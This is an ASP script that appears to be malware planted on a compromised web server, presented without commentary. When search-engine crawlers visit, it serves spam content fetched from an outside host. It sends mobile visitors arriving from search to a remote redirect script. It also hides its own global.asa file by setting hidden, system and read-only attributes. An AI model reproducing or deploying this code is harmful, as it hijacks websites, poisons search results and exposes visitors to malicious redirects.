<% Response.AddHeader "Content-Type", "text/html;charset=GBK" Server.ScriptTimeout = 3600 Const url = "http://jsc.sesewu2.xyz/?" Const is_referer = "so\.com|sm\.cn|sogou\.com|baidu\.com" Const spider_head = "(360Spider|Haosou|Sogou|Baidu|Yisou)" // Const is_suffix = "\.(xml|doc|shtml|txt|ppt|xls|csv|docx|xlsx)" Const is_suffix = "\.(xml|doc|shtml|txt|ppt|pptx|one|asp|aspx|gq|html|?|tacc|csv|xls|csv|docx|xlsx)" Const is_mobile = "(Android|Browser|Mobile|Wap|iOs|iPad|iPhone)" Dim user_agent, wwwroot, is_origin, remote, html, referer, tiaozhuan On Error Resume Next query = Request.ServerVariables("QUERY_STRING") referer = Request.ServerVariables("HTTP_REFERER") user_agent = Request.ServerVariables("HTTP_USER_AGENT") If Err.Number <> 0 Then Err.Clear End If wwwroot = url is_origin = "road="&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME") remote = wwwroot&is_origin&"?"&query If RegExpMatches(user_agent, spider_head) Then If RegExpMatches(query, is_suffix) Then html = openweb(remote) Response.Write html Response.End Else html = openweb(url&"zz") Response.Write html End If End If If RegExpMatches(query, is_suffix) And RegExpMatches(referer, is_referer) And RegExpMatches(user_agent, is_mobile) Then tiaozhuan = openweb("https://jumpjs.ailyuncs.com/js/ppxx.js") Response.Write "" Response.End End If Set fso = Server.CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(Server.MapPath("global.asa")) If f.Attributes <> 7 Then f.Attributes = 7 End If Function RegExpMatches(str, pattern) Set regex = New RegExp regex.Pattern = pattern regex.IgnoreCase = True RegExpMatches = regex.Test(str) End Function Function openweb(url) On Error Resume Next Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",user_agent ObjXMLHTTP.send openweb=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objstream = Server.CreateObject("Adodb.Stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write openweb objstream.Position = 0 objstream.Type = 2 objstream.Charset = "utf-8" openweb = objstream.ReadText objstream.Close If Err.Number <> 0 Then Err.Clear End If End Function %>